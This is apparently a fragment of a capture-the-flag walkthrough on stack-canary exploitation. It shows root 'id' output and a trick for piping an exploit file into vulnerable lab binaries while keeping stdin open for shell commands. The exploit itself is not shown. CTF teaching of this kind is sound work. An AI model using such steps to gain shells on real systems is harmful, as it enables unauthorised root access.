uid=0(root) gid=1000(rek2) grupos=1000(rek2),10(wheel),91(video),92(audio),100(users),108(vboxusers),209(cups),967(realtime),972(docker),990(dradis-ce),991(libvirt),1006(gamemode)
$

this walktrough is based on the ctf-wiki canary I recommend you read it to understand what was said here and to complement span on to other material.

#Tricks

Keep stdin open:
```
(cat exploit.txt; cat) | code-insecure2
(cat exploit.txt; echo id; echo ls) | ./code-insecure1
```
the first cat simply prints the exploit file’s content, and the second one allows to hold the stdin open for the user’s input